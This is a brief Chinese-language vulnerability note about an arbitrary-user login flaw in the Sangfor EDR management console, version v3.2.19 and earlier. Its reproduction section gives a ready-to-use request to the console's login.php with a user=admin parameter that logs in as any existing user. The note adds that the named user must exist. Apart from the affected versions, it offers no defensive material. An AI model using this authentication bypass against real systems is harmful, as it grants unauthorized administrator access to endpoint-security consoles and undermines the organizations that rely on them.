深信服后台任意用户登陆漏洞.md

深信服后台任意用户登陆漏洞

漏洞描述

深信服终端检测响应平台是深信服公司开发的一套EDR系统。攻击者利用该漏洞，登录任意用户

影响版本

Note

EDR <= v3.2.19

漏洞复现

https://xxx.xxx.xxx.xxx/ui/login.php?user=admin

Note

注意最后的admin需要为存在的用户名